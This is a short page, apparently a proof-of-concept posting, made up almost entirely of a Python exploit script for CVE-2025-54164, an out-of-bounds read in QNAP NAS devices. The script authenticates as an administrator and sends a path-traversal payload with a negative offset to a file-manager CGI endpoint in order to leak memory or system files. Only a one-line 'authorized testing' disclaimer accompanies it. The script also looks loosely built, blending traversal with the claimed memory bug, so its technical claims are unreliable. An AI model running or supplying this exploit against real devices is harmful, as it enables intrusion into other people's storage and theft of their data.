CVE-2025-54164 QNAP NAS 越界读取漏洞

# CVE-2025-54164 PoC - QNAP NAS Out-of-Bounds Read # Requires administrator credentials import requests import sys target = "https://target-nas.local" username = "admin" password = "password" def exploit_cve_2025_54164(): """ Target: QNAP NAS devices running vulnerable firmware Pre-condition: Valid administrator credentials required Effect: Read out-of-bounds memory to obtain sensitive data """ # Step 1: Authenticate and obtain session token login_url = f"{target}/cgi-bin/authLogin.cgi" login_data = { "username": username, "password": password } try: session = requests.Session() response = session.post(login_url, data=login_data, verify=False, timeout=10) if response.status_code != 200: print("[-] Authentication failed") return None # Step 2: Exploit out-of-bounds read vulnerability # Target endpoint with malformed request exploit_url = f"{target}/cgi-bin/file_manager/cgi_get_file_list.cgi" # Malicious payload to trigger OOB read exploit_payload = { "path": "../../../../../../../../../etc/", "offset": -1, # Trigger out-of-bounds access "length": 4096 } response = session.post(exploit_url, data=exploit_payload, verify=False, timeout=10) # Step 3: Extract leaked data from response if response.status_code == 200: print("[+] Exploit successful - leaked data:") print(response.text) return response.text else: print("[-] Exploit failed - target may be patched") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": print("CVE-2025-54164 QNAP NAS OOB Read Exploit") print("Warning: For authorized security testing only") exploit_cve_2025_54164()